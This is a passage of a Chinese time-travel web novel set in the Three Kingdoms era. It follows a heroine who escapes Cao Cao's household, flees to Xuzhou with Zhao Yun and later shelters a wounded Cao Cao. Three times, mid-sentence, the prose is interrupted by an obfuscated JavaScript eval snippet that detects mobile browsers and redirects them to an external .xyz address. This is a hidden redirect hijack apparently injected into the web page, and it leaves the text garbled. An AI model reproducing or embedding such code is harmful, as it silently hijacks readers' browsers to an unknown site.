在男人后院躺平养老的想法,太天真太单纯了。 想躺平,靠自己。想致富,也要靠自己。她有技能造出各种东西,不愁在外没法做生意。 只要能赚钱,她就自己买院子。等到暴富了,就回自己小院里躺平休息,也可以雇几个打手一路保护她外出旅游,岂不美哉! 可古代女子出门很难,更别说夫人出门。夫人逛个街都得借着节日由头或者跟夫君一起出门,更别说自己出门做生意了。 唯一的办法就是,和曹操脱离关系。 从前丁夫人一身傲骨,有傲的资本,敢写休夫书。如今环夫人若这么做,曹操肯定会像捏死一只蚂蚁一样捏死她。 休夫肯定不行,但可以想办法让他休妻啊! 古时候七出之条她知道几个,比如没有孩子,与别的男人私相授受,妒忌其他妻妾,偷盗夫家东西等。 与别的男人有私和偷盗东西她可不敢,曹操会灭了她。 没有孩子,她已经占一项了。 如果她再嫉妒其他人得宠,闹出点风波,再加上自己整日哭哭啼啼、疯疯癫癫,曹操肯定受不了。 受不了怎么办?休妻啊!反正曹某人不是什么怜香惜玉之辈,又花心得很,何必把一个不喜欢不需要还捣乱的女人留在府里呢! 丁瑶很快就开始执行计划。 七喜虽然两耳不闻窗外事,但李氏和杜氏消息灵通,传着传着就到丁瑶耳朵里了。 听闻曹操下月初回许昌,李氏和杜氏卯足劲等着曹司空来看她们。而丁瑶猜测,自己跳河闹出这么大动静,还大病一场捡回一条命,曹操即使不想来,卞夫人也会端出正妻的气度让曹操来探望环夫人。曹操自然不会听卞夫人的,卞夫人无奈,只好自己来慰问环夫人一下。 环夫人心中有气,发泄出来……后果不堪设想。 非常好! 丁瑶心中的如意算盘打得巴巴响。 曹操准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600638|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备动身回府前,丁瑶开始表演夜夜做噩梦,大喊大叫吵得四邻不安,哭喊着怀念死去的孩子,吵着让曹操来看她。 大家向看笑话一样看她,哪知道这只是丁瑶计划的第一步。 当一个疯女人的八卦传到曹操和卞夫人耳朵里,才会发生曹操嫌弃她不来,而卞夫人不得不来的情况。 第二步便是折腾七喜,每天都说一些丁夫人鬼魂归来,把她孩子带走之类的昏话,让七喜动了请方士驱邪的念头。 她这般胡闹,自然不会有人来。正经方士不肯来,于是,丁瑶很顺利的拿到七喜准备的自制驱邪物,一盆狗血。 丁瑶抱着如意算盘等曹操回府。待到曹操回府那日,她从李氏那里得知他先去看望卞夫人,便立刻让七喜做一件不长眼的事,去卞夫人那里把曹操请过来。 老实的七喜胆战心惊地去了。 丁瑶在房门口布置好机关。 接下来剧情会是这样,环夫人夜夜梦魇疯魔,夜夜盼曹操来看她。曹操回府,她让七喜去请人。可曹操没来,她嫉妒心起,泼了前来探望她的当家主母一身狗血。 很狗血的剧情,足够环夫人喝一壶。如此大闹一通曹操还能忍她,那就不是曹孟德。 没想到的是,曹操来了! 他他他……他居然来了! 当七喜在门口喊的那声:“夫人,曹司空和卞夫人来了。” 丁瑶吓得原地炸毛。 她“啊”大叫一声,还来不及阻止,为首推门而入的曹司空被悬在上头的木盆,华丽丽泼了一身狗血,又腥又臭。 “曹司空恕罪!”七喜跪在地上,惊恐地看了看丁瑶,又把头埋下去。她知道环夫人口齿不便,无法解释,于是便说:“……夫……夫人她连日梦魇,怕有小鬼上门,于是就……就弄了这东西……驱邪……” “驱邪?”曹操抹了把脸,嘴角一点血红让他的笑容变得,“我像邪么?” “不……不是……”丁瑶这次真的结巴了。祸闯大了! 原本跑出来吃醋的李氏和杜氏这会吃到大瓜了。 李氏胆小不敢说话。 杜氏一向快人快语,趁机向曹操哭惨:“呜呜,您是不知道啊,环儿每天晚上大叫哭丧,吵得我们不得安宁。她还在背后骂您呢,抱怨您不来看她!” 丁瑶“啊啊啊”喊了几声。这杜氏实在可恶,欺负她不能说话胡编乱造。她哪里敢抱怨曹操,只是假装嫉妒卞夫人而已! 这边,卞夫人求情了几句,曹操充耳不闻。片刻,他冷下脸说:“来人,把这个疯女人拉出去……” 丁瑶:好啊好啊,快扔我出去吧! “……乱棍打死!” 丁瑶:打死!?曹孟德你太狠了! 死就死吧,她又不是没死过。可她能接受痛痛快快死,给杯毒酒也行啊,乱棍打死也太惨太疼了! 最后皮开肉绽、血肉模糊,甚至裸露身体被人抬走…… 很快,院外有人冲进来,把丁瑶拖拽往外走。丁瑶想象着乱棍打死的惨状,实在下不了虐死自己的狠心,于是张开嘴大喊起来:“曹司空饶命啊!曹司空恕罪!” 我丁瑶就是命不好,一而再再而三穿越成你夫人! 所有人愣住了。 七喜震惊了。 卞夫人和其他两位夫人也十分惊讶。 拖拽丁瑶的人停住了。 曹操也不由自主回头看她,看着地上凄凄惨惨的人儿,此时睁大眼睛恳求地看着自己。 嗯?她的哑病好了? 20. (二十)难民 “看来她之前是在装疯卖傻。”杜夫人掩面讥笑,“看着呆呆傻傻,实际上颇有心机,你想装可怜争宠?” 七喜赶忙回话,替丁瑶辩解:“夫人从未装病,可能是……可能是落水后大难不死,必有后福,身体彻底养好了。” 丁瑶:“……”闭嘴吧猪队友啊! 她本想继续装傻装失忆蒙混过关,可惜被七喜的话搞砸了。 没办法,只能硬着头皮上了。 丁瑶低下头,怯生生道:“也许是……上天垂怜,让我能开口……说话。”哑病刚好,不能好的太彻底,还是要断断续续讲话。 “小的命苦低贱,从未想过争宠和高攀。如今……如今翀儿离开,是……是我这个做娘的德行有失。” 丁瑶郑重地向曹操和卞夫人行一个大礼,恳求道,“小的福薄,不得司空和卞夫人青睐,生下孩子无法保护,是我……是我的罪孽。余生我只愿出家修行,常伴青灯古佛,为孩子祈福。望司空和夫人成全!” 无论是装病还是真病,她现在不求庇护,只求离开?曹操疑惑。 卞夫人严肃地说:“从未有妻妾在夫君健在时便出家修行的,环妹妹此举不合规矩。再者说今日你闹得这一出,实在不成体统,不是认错道歉就能赎罪的。” “依夫人看,该当如何?”曹操挑了下眉,斜眼瞅着卞夫人。 卞夫人胸口一跳,看着曹操一身误会,无所适从:“从未有过如此先例,妾身也不知该如何处置。要不……打几板子,关几日禁闭,小惩大诫?”她试探着问。 曹操冷笑:“既然她想走,不如成全了她。”他喊下人取来纸笔,龙飞凤舞写了几行字,然后把纸扔给丁瑶。 笔迹太潦草,大多数字她不认识,可“休书”和“环”字她看得分明。 曹操不留情面:“你要走明日便走,除了贴身衣物,不得带府上任何东西和钱财,不得带贴身丫鬟。我要看你如何自生自灭。”甩下这些狠话,曹操头也不回的离开了。 真狠啊! 丁瑶牙关打了个冷颤。早就听下人偷偷议论说自从丁夫人死后,曹操行为做事越发古怪狠厉,对后院的女人毫不留情,果然如此。 快走快走,溜之大吉! 丁瑶双手攥着休书,垂眸欲哭无泪,脸上作出茫然无措装,可心里早已长草了。 不让带钱财怕什么,老娘有本事赚钱。 不让带丫鬟怕什么,老娘还怕自己身份暴露呢,没熟人最好。 七喜舍不得丁瑶,更为她前路担忧。她塞给丁瑶一个不太沉的钱袋子,握在她手里说:“这是奴这几年攒下的钱,不多,但可以应急。夫人……哦不,您离开司空府前路莫测,千万小心。” 丁瑶把钱还给她,好声劝道:“不要担心我,你还是多担心自己吧。我走后,你一定要跟着位好主子。卞夫人,她人不错。”前途也不错。别再遇上丁夫人和环夫人这样不靠谱的主子了。 第二天天刚亮,有人来环夫人门外敲门,让她收拾东西离开。没想到开门的是七喜,她说“环夫人已经走了。” 没错,丁瑶收拾好东西,天不亮就离开了,哪用得着他们请。 ***** 丁瑶离开曹操府邸,径直往许昌城外走。先离开是非地,再想新去处。 她手里没有钱,想造出点小玩意卖东西赚钱不难,难的是她只要使用技能,哪怕制造很简单的东西,都会犯困需要睡觉休息。 搁现代,露宿街头大概率是被帽子叔叔捡走。搁古代,一个女人露宿郊外,还睡不醒,很可能被人抬到窑子接客。 很危险。 为安全考虑,丁瑶先抹点泥巴把自己脸弄黑,再找些杂草把衣服弄脏,让旁人注意不到她的容貌。而后,她出城找了个难民棚,打算先“小住”两日造点东西,卖了钱再雇车,钱花完再找难民棚,“小住”两日造东西卖钱后继续赶路。 单靠双腿走出许昌城时,天色已晚。丁瑶问了一个路人甲,寻到城外五里处的难民棚。棚子里住的大多是丧失劳动力的老幼病残,还有三个看上去像地头蛇一样的年轻男子,虎背熊腰,他们聚在一起,贼兮兮地盯着新进来的丁瑶。 老幼病残是一组,地头蛇是一组,臭烘烘的难民棚都在拉帮结派。 每个帮派都有老大。老幼组的老大是个年过六旬的老人,拄着手杖坐得笔直,好像丐帮帮主。地头蛇老大是个独眼龙,左眼瞎,右脸疤,看起来很吓人。 丁瑶站在门口傻眼了,忽然觉得大树底下过夜似乎更安全。 她正要转身走,一个七八岁孩童从草堆中跳起来,拉着她往丐帮帮主那边走,边走边说:“姐姐别理他们,他们都是无赖。” “喂!你小子活腻歪了!”独眼龙吼道。 男孩做了个鬼脸:“有本事过我阿翁这关啊!” 地头蛇们有气不敢出。 丁瑶了然。汉代有敬老制度,年过六旬的老人都会被官府登记在册,免除赋税。谁要是弄伤甚至害死高寿老人,是要背刑的。 “多谢收留。”丁瑶谢过孩童,又恭恭敬敬向老者鞠了一躬。 老者抚摸白胡须,看她一眼,叹气:“回去吧,外面兵荒马乱,不适合你这样的女娃。” “女娃?”丁瑶噗嗤一笑。也是,对六十岁老人来说,十八岁的自己确实是个小孩儿。她指着才到她胸口的小男孩说:“他不也是个孩子?他能出来讨生活,我也可以。” 男孩不高兴,小嘴一撅道:“你把谁当乞丐呢?我和爷爷不是来讨生活的,这里就是我们家。” 一个孩子把难民营当家……想想也是可悲可怜。 “你们就一直住在这里?没打算去什么地方吗?”丁瑶问男孩。 男孩摇头,懵懂地看着自己爷爷。 老者右手握拳掩住口鼻,咳嗽两声说:“去年一直住在这里。人老了黄土埋到脖子,走不动了。女娃你也不要在此久留,这里阴森破败,住久了人会沾染死气。” 丁瑶不置可否,她把贴身包袱丢在草垫上,找了个空地坐下。 夜深人静。 丁瑶开始思考将来的去处。 乱世中什么最好卖,自然是防身武器啊。而且汉代对民间打造刀剑没有严格限制,是铸剑业发展的黄金时期。可惜丁瑶的技能只能造吃喝玩乐,不能碰和武器有关的东西。 突然靠技能建造房屋,种出各种庄家,实在太引人注目了,而且技能消耗极大,她可能会睡一年半载被人当植物人埋了。 她必须徐徐图之。 如果一直赶路,官道上什么最好卖?衣服?餐食?还是酒? 要不还是卖酒吧,自古英雄枭雄奸雄都喜欢饮酒,文人也喜欢饮酒作诗,落魄的人也会借酒消愁。 汉代没有蒸馏技术,酒寡淡无味,她肯定能酿出比劣质醪糟汤好喝的各类酒。 只要拿到第一笔钱,她就换地方住。如此循环反复,总能找到出路。 可接下来她去哪里好呢? 好多人投奔冀州袁绍,仰慕他势力强地盘大,又有四世三公的光环。可丁瑶知道那里断断不行,曹操迟早会打败他,袁绍那几个不成器的孩子迟早把家底败光。 还有人说刘备是当今皇叔,仁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612612|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义当先,是个英明的雄主。可丁瑶记得刘备在遇到诸葛亮前一直在打败仗,日子过得很苦逼。何况他还是寄人篱下,连个自己的领地都没有,去他那里做生意安家也不行。 如此看来,只有江东最好。物产丰富,百姓祥和,未来最大的战事就是赤壁之战,还是场教科书版的以弱胜强的战胜。 一路向南,去江东,成了丁瑶的目的地。 就在她跃跃欲试,准备明日开始出摊在官道卖酒时,难民棚外传来惨叫和厮杀声。接着,草棚被不知哪来的火点着,火势蔓延,稻草被火烧的声音哔波作响。 “醒醒!快跑!” 丁瑶和其他住在难民棚的人都往外跑,只有那位老者没有跑。 “阿翁,你快起来!快起来啊!”男孩哭喊着拉老者衣袖。 老者摇头,意味深长道:“跑不掉了,跑不掉了,他们追来了……” 外头传来官兵的声音:“前将军吴子兰借衣带诏,密谋造反,公然违抗朝廷,罪不容诛。今奉曹司空之命,夷三族,杀无赦!” 丁瑶震惊。吴子兰他不认识,可衣带诏太有名了。原来这棚子里住的老幼病残,根本不是什么难民,而是吴子兰幸存的家眷。他们报着最危险的地方就是最安全地方的心态,又是一群老幼偷偷躲进难民棚,以为风声过了不会被抓到,可还是没逃走。 “军爷饶命,小人不认识什么吴子兰啊!饶命啊……啊……”独眼龙和他两个手下抱头逃出去。其中一人跑太快,烟雾缭绕没看清路,直直插在士兵的尖刀上,溅了一地血。 丁瑶也准备跑,惊愕之中,她突然被老者拉住手,脚下步子一顿。 “女娃,带阿宝走。” “阿翁!”男童哭得更大声。 “快走!” 丁瑶不想带孩子,她连自己都养活困难,如何养别人。 谁知老者死死拽着她,别看他年龄大,到底当过将军有功夫在身,丁瑶一时半刻真奈何不了他。 他眼睛瞪得很大,垂死挣扎前的人力气更是大的出奇。他嘶哑着嗓子叫喊:“女娃,带阿宝走!答应我照顾他,给他找个收留他的好人家!如果你不答应,我就拽着你不放,大不了我们同归于尽!” 丁瑶无语问苍天。一个进草棚睡觉的代价是……她被讹上了! 火势越来越大,浓烟越来越重。 她可不想被火火烧死或熏死。 丁瑶咳嗽几声,艰难地说:“行,我答应你。” 老者笑了下:“好,老朽在天上看着你。若你违背诺言,必定不得好死,永世不得超生。” 我都死了两次的人了,你赌咒我也没用!来世的事儿老娘管不了,超生我也超不出三国去了! 但现在保命要紧! 老者松开丁瑶,丁瑶立马拉着阿宝跑出草屋。 迎面而来的,是士兵的刀剑。丁瑶镇定自若,牵着男孩的手说:“我和弟弟都是流浪的难民,和军爷找的人毫无关系。” “你们是否为逆贼同党,是否清白,我等说了不算,一切需由曹司空定夺。”军士义正言辞。 丁瑶差点晕倒。不会吧?才出来一天又要抓回曹操那里?她“环夫人”从此就是许昌大笑话了! 然而就在这时,面前拿刀耀武扬威的士兵突然背后中箭,趴倒在丁瑶面前。接着,越来越多的士兵遭到突然袭击。 “贼人,快快受死!”一个穿银甲,披着雪白披风的将领,率十几人奇袭而至,将几十个前来围杀吴子兰家眷的人死死围困。 这极具戏剧性的一夜啊! 这又是哪里来的神兵天降! 21. (二十一)意外 地上横七竖八多了几具尸体。 丁瑶拉着阿宝躲避刀剑。阿宝穿双破草鞋,逃窜的慌乱中脚底打滑人摔倒了。一个中箭的曹军士兵临死前杀红了眼,举刀要砍死男孩。 眼看他就要葬送在乱战中,此时,丁瑶的本能淹没理智,她捡起地上死去士兵掉落的剑,冲向那个士兵。 在曹兵的刀砍下前一秒,丁瑶的剑刺进他的大腿。从未使用过冷兵器的她屏住呼吸,吓得松开手。那人已经顾不上疼了,恶狠狠回头看她,把刀对向她。幸好此时一把银枪横在他们中间,将重伤的曹兵击打在地。曹兵挣扎一下,两腿一蹬断了气。 丁瑶大口喘息。她刚才,用刀捅了人,还差点被人杀了! 曹兵人数占优,来者不敢恋战,突袭几人后直奔目标。银甲将军手下的人分成好几路,一一打量地上的难民。 其中两人骑马来到丁瑶和男孩面前,居高临下看着他们。 “你们是吴将军的家眷?” 阿宝点头:“是。” “上马!”两个骑兵分别将丁瑶和男孩拉上马,快速离开是非地。丁瑶还未从血腥中缓过来,稀里糊涂跟着他们走了。 曹兵在后面拼命追,喊杀声震天。银甲将军调转码头,一夫当关万夫莫开的气势,独自拦下几十个追兵,让其他人趁机撤离。过了不知多久,他们才把追兵甩开。 除了丁瑶和阿宝,其他几个士兵的马背上也坐着人。丁瑶定睛一看,方才在曹军面前大喊不认识吴子兰的独眼龙,也浑水摸鱼上马了。 这群骑兵穿的不是正规部队的装扮,都是身穿粗麻布衣,头戴斗笠。因为天气没有完全暖和过来,他们长途跋涉衣服裹得很厚,一个个看着都很壮实。 一群人聚在河边休息,过了半刻中,身披白披风的将军前来汇合。 “你们受委屈了。”为首的将军环顾四周,看着大家说。而后他走到阿宝面前,缓缓蹲下身子,直视男孩的眼睛。他双手抚上男孩的肩膀,道:“孩子,跟我回徐州吧。” 劫后余生的难民们齐声附和:“皇叔仁义啊!我们去徐州,投奔刘皇叔!” 刘皇叔?刘备? 丁瑶问将军:“敢问阁下尊姓大名?” 将军说:“我乃常山赵子龙。”他看了眼丁瑶带血的双手,安慰她:“姑娘莫怕,战争就是这样,你不杀别人,别人就会杀你。你没有做错。 “多……多谢。” “姑娘受惊了,随我们去徐州吧。” “徐州?”丁瑶一愣。去徐州投奔刘备?可她印象中没多久刘备就被曹操打败,失去领地了。她不好意思地摆摆手说:“我不是……不是吴将军的家眷,只是过路人。” “嗯?”赵云疑惑。 “她是我姐姐。”男孩生怕丁瑶丢下他,死死拉着她不放。 对一个孩子来说,什么将军什么刘备离他太远,他只知道爷爷临死前把他托付给这位姐姐。他攥着她的衣袖,眼睛铮亮:“姐姐你别忘了,阿翁临走前让我们互相照顾,绝对不能丢下彼此,否则他在天之灵得不到安宁。记得吗?” 丁瑶甩手:“谁是你姐姐?你现在有了好去处,我也可以……” “姑娘别倔了,跟我们一起走吧。”冒名顶替的独眼龙生怕丁瑶不但说自己不是吴家人,还连带出他也不是吴家亲眷的真相。他流浪多年,好不容易找个去处,可不能泡汤了。 他抱拳拱手,劝丁瑶:“你也看到了,离开大家意外多发,你差点被烧死被打死。无论如何,跟着这位赵将军不会有错,哪怕以后你有更好的去处,也可以先安定下来从长计议,你说呢?” 仔细一想,丁瑶觉得他说得有道理。刘备目前势力较弱,可到底是一方诸侯,再弱也比她一个人上路强。她现在身无分文,好不容易找个安身草棚还遇上如此倒霉的事,差点儿丢了性命,谁知道后面会发生什么危险。 跟着武力值高的赵云,先去徐州暂时安顿,哪怕用一个月时间赚够了钱,她再雇车雇保镖一路南行。曹操就算和刘备打仗,也不会立刻就来,刘备也不会那么快输,留给她的时间足够。 丁瑶点头道:“听人劝吃饱饭,我和你们一起去徐州。” “太好了。”男孩坚定地说,“等到了徐州,我要学习功夫,我要参军,将来替我阿翁报仇,与曹家不共戴天!” ***** 这个夜晚注定是不平静的。 此时的曹司空府邸仿佛沸水里滴进了油,瞬间炸开。 听手下人汇报说围杀吴家家眷的行动被人偷袭,火场里烧死了五个人,有六人随前来突袭的人一起逃走了。曹操闻之只是沉默,心想跑就跑了,几个妇女儿童逃出去也掀不起风浪,经过大火和追杀,说不定路上就病的病死的死了,不碍事。 可当他听说带兵前来突袭的人是刘备手下将军赵云,曹操眉头锁紧了,而后冷笑一声道:“好个刘玄德。先前他被吕布逼得无处可去,是我收留了他,在许昌把他当成上宾。他表面上韬光养晦,实则暗中参与衣带诏事件,联络汉臣背叛我。他借着剿灭袁术残部的名义逃到徐州,我没有立刻对他下手已经是仁至义尽,他竟如此得寸进尺。刘备不除,必有大患!” “司空说得是。还有一事……嗯……”手下人磕巴。 “有话就说。”曹操不耐烦。 那人咽了口唾沫道:“环夫人昨日天没亮就离开了,司空派去跟她的人,跟丢了。不过……不过后来寻到她了,她住在城外的难民棚里。只是……” 曹操缓缓起身,脸色十分难看。 那人硬着头皮继续说:“环夫人不巧遇上了追杀吴子兰亲眷的事,卷入火场,可夫人吉人天相逃了出来。可是她……她……已经和赵云一行人前往徐州了。” 曹操大声问:“发生大火的时候,你在干什么?” 手下人跪下磕头:“小的无能,本想冲进草棚救出夫人,没想到被赵云捷足先登。” “废物!”曹操拿起茶碗,摔了出去。 一屋子人不敢说话。曹操在气头上的时候,越说越废。 一下子接收好几个坏消息,曹操也需要慢慢消化。刘备早晚必除,而环夫人……竟然真从他眼皮子底下溜了。 原本他对此人不在意,和自从她哑病痊愈,他便开始怀疑,这个女人是不是一直在装病?还是她真那么好运,突然变成正常人? 不会有无缘无故的好运气,曹操虽然休了环夫人,可暗中派人监视她。 如果她真的只是离开司空府为了出家修行,他便放任不管。若她别有目的,或者做出什么忤逆之举,就证明她先前真是装疯卖傻别有用心,那他必然要查明白。 没想到她跑了,还是跟刘备手下走的,这不得不让他疑心。 沉默一阵,曹操平静下来,长出口气。他眯起眼睛琢磨着什么,嘴角微微上扬。他找了十个武功极好的死士,吩咐下去:“收拾东西,明日等我号令。” ***** 两个月后。 天气转暖,阳光明媚。 徐州城外,过往商旅哪怕绕路都舍不得错过这家新开张的城下小馆。说是餐馆,其实是借着后面的驿馆在旁边搭了个简易棚子,而老板和帮工就住在驿馆里。 此店之所以出名,不只是因为东西好吃酒好喝,也是因为所有吃食都是按老板当天喜好的心情制作的,客人无法点单。所有东西都是限量购买,多则不售。 更有趣的是,老板做两天生意休息两天,如果有人在她休息时找上门,天王老子来了她也睡不醒。 因为这里东西好吃,也因为老板性格古怪,城下小馆越来越出名,很多猎奇的人都跑来徐州凑热闹。 这日,老板摆出的菜单是:特色酸梅饮、枣花茶、绿豆糕、竹筒年糕。售完为止,先到先得。 驿馆老板陈老爷从没见过这么做生意的,不让客人点菜,每日限量就罢了,明知道徐州城里那一位最喜欢酒,她这几日还偏偏禁酒,当真是嫌钱赚太多吗? 这不陈老爷心里头刚念叨完,那位爱酒成痴的人就来了。 “阿瑶姑娘,今日有酒吗?前些日子的醉仙儿再给我来几坛!”来者身材魁梧,面部黝黑,他留着络腮胡,嗓门极大,张扬得让人无法忽略他的存在。 门口洒扫的小厮躲着他走,进到里屋了。 丁瑶笑看着来者,恭恭敬敬地欠了下身,指着今日摆出的菜单牌子说:“今日饮品是酸梅饮和枣花茶,没有酒。” 大汉不满,声音提得更高:“什么?没有酒?你这里不是酒馆吗?” 丁瑶笑脸相迎,正要开口,只见不远处走来一人,边走边说:“三弟,你又嘴馋了。前几日你喝醉误事,大哥生了好一通气。” “哎呀二哥,今日休沐,难得可以喝两杯啊!” “你哪日少喝了……”说话的人身材挺拔,丹凤眼卧蚕眉,髯长两尺,说话声音不高但中气十足,威风凛凛。 这二位是城下小馆的常客,关羽关云长,张飞张翼德。 丁瑶打小听二位的故事,对他们敬重已久,所以对他们态度十分恭敬。原本她也是投其所好的,可前不久张飞贪杯醉酒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630232|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听说刘备发了好大的脾气让他戒酒磨练性子。他去其他地方偷喝她管不着,自己小馆里短时间内绝对不能卖酒了。 张飞撇了撇嘴说:“唉算了,汤汤水水有什么好喝,不买了。我今日来是想告诉你,和你一起来的那个小娃娃已经被子龙收为徒弟,在军营习武,你且放心。” “多谢张将军。” “另外……”张飞从腰间取出一把带刀鞘的匕首,搁在桌上,“这是子龙兄弟特意让人打造的,轻薄趁手,十分锋利,你一个人开店不容易,留着防身。” 丁瑶点头谢过:“多谢张将军,也替我谢谢赵将军。” “别谢我,我就是个跑腿的。”张飞说完,骂骂咧咧拉着自家二哥走了,边走边嘟囔,“走吧二哥,这里没酒,我们找一家有酒的馆子。” “你喝一杯就罢了,要是一身酒气被大哥闻见,我可不管你。” “哎呀,知道了知道了。你说子龙老弟怎么想的,自己打造的东西非说是别人做的,还不肯亲自来送……” 关羽打断:“你少说两句吧。” 丁瑶听着两人逐渐远去的交谈声,看着桌上的匕首陷入沉思。 小馆的女伙计笑嘻嘻凑上来,挤眉弄眼:“怎么?赵将军今日不介绍生意,改送东西了?” “赵将军是好心。万一小店遇到歹人,拿出来应急。” 吴家家眷中,男丁都去军营参军了。就连那个独眼龙的地头蛇都带兄弟投奔了刘家军,说是要干一番大事业,不能总偷鸡摸狗。而丁瑶的城下小馆,就收留了其他不能参军或干重体力活的人,多半是孤寡妇女。 和她八卦这位名叫月桥,虽然脸被大面积烧伤毁了容,可干活很麻利,一人能顶三人。 “恐怕不是为小店应急,是专门给你的吧。赵将军不是好心,是有心。那个男娃娃身体不好,哪是习武的料?赵将军是看在你的份上,才收他为徒的。” 丁瑶道:“你别瞎说,阿宝好着呢。” 月桥笑容暧昧:“我脸烧坏了,可眼睛没坏,看得真真的呢。阿瑶妹子是哪里人啊?可有心仪的人家?没有的话女大当婚……” “越说越离谱了。”丁瑶不再跟她瞎聊。她把匕首放进驿馆的柜台抽屉,对陈老爷说,“老板您看到了,此处藏有匕首,若那天小店来了歹人,店里伙计都能拿来自保。” 陈老爷抹了把汗说:“姑娘说笑了,小店穷酸得很,歹人都不来呢。” 入夜,丁瑶守在桌前,点着蜡烛像葛朗台一样数钱。 数了三遍,钱的数目依然不理想。 虽然城下小馆名声出来了,但卖的都是便宜的东西,再加上各路将军的人情债和友情价,刨去成本没有多少盈利。另外,她自己又是干两天活不得不睡两天觉的人,想快速攒钱又顾保镖南下,并没有预想的简单。 可再待下去,万一等到哪一日曹操率军而至,徐州就是战场,她想走就难了。何况现在多了新情况,就是赵将军。 赵将军对他们这些救出来的人很好,原是看在都为汉室出过力的份上,尽心安置,有体力的都找到活干,老弱妇孺安排住处让她们安心修养。 而对她,最开始丁瑶觉得没什么不同,可从她开店起,似乎有点变化了。最开始选店铺时他便十分上心,本想让她把店开在城里,后来丁瑶以租金贵为由,把店开在城外。 城外条件简陋,赵将军派人帮忙搭建棚子,置办桌椅。一开始小店没生意时,他经常拉军营里的兄弟们过来捧场,还介绍新客源。后来还说动送货的米面商家,给丁瑶最低进货价。 她知道阿宝身材瘦小,体质不好,不是习武打仗的好材料。可赵将军依然收他为徒弟,传授武功。 之前的事,丁瑶都能当做好心,可送匕首的事,她觉得除了好心外更多了一层关心。 外人的八卦从不是空穴来风,丁瑶也不是傻子。 既然无法承诺什么,就把一切扼杀在懵懂中,她要尽快收拾一下离开徐州。 至于城下小馆,离开她技能的加持,可能餐品质量会严重下降,估计生意会不太好。可月桥他们是干活的好手,相信就算没有她,他们也能找到新出路,把日子过下去。 正在这时,驿馆楼下传来吵闹声。 陈老爷大喊:“快来人啊!有人受伤了!阿瑶在吗,快拿点热水来!” 丁瑶端了热水下楼,只见陈老爷和店伙计把一位不省人事、浑身是血的中年男子抬进驿馆。 定睛一看,丁瑶手里的水杯打翻在地。 此人不是陌生人,而是曹操啊! 22. (二十二)伤员 “愣什么?!快拿水来!”陈老爷朝丁瑶大喊。 丁瑶恍惚着又去端了杯水,匆匆赶来,递给陈老爷。陈老爷很耐心,一勺一勺慢慢喂给曹操喝。此时的曹操处于昏迷中,整个人靠墙坐在地上,面颊带着血污和泥,衣服发臭,模样十分狼狈。 古代信息不发达没网络,除了真正近距离见过曹操的人,其他百姓都是只知其名不知其长相,就算面对面也不认识。 但……这里毕竟是刘备的地盘,他为何会在这里?就算意外中了埋伏,他身边的护卫呢?为何他会只身一人来徐州?胆子也太大了! 丁瑶蹲在他面前,看着他熟悉又陌生的脸,心里犹如擂鼓震天。 片刻功夫,曹操咳嗽两声,缓缓睁开眼。丁瑶心头一紧,想着他如此狼狈的样子被熟人看见,肯定会大发雷霆。没想到他异常平静,好像没看见她,涣散的目光从她身上掠过,茫然地四处打量。 “我在哪里……这是哪里……”他摸了摸地板。 丁瑶皱眉,此人的动作很不对劲。 陈老爷安慰他:“放心,您在驿馆,很安全。” “这是哪儿……有人在吗……”他依然摸索着地板,眼睛四下打量却没有焦点,不停地问:“我在哪里,有人在吗?” 丁瑶更加震惊,伸手在他眼前晃了晃,又凑到他耳边喊了两声。 那人没反应。 他失明了,好像还失聪了。 一个瞎了、聋了的曹操,孤身一人来到徐州,这不等同于没了爪子牙齿还眼瞎的老虎,落入猎人家门口吗? 陈老爷和店里其他伙计显然不知眼前流浪汉模样的人就是奸雄曹孟德,老板本着救人一命胜造七级浮屠的善心,安排伙计准备房间。丁瑶抢先一步说:“把他带到我那里吧。” “嗯?”众人疑惑。一个姑娘家主动让陌生男子入内,实在奇怪。 丁瑶赶快解释说:“我住的地方人少安静,不打扰陈老板做生意。把他安置在我房间,我住隔壁,平日也能照顾一二,待他伤好痊愈可自行离开。” 陈老爷顿了下,点头:“我虽好心救人,可他重伤如此,万一是有人寻仇,反而给驿馆带来麻烦,还是阿瑶考虑周全。” 几个伙计帮忙把曹操抬进丁瑶房间。丁瑶让他们请大夫,其他人离开后,丁瑶冷冷俯视曹操,笑道:“行了别装了,别人不知道你,我还不认识吗?” 对方直挺挺躺在床上,没反应。 丁瑶继续试探,小声说:“曹孟德,这里可是刘皇叔的地方,关长两位将军经常来小馆喝酒。我若把你交出去,下半辈子吃喝不愁,坐享荣华富贵。” 床上的男人依然没反应。不但没有暴起杀了她,还伸出手试探着摸索。他的手碰到丁瑶胳膊时,她身体往后缩了一下。 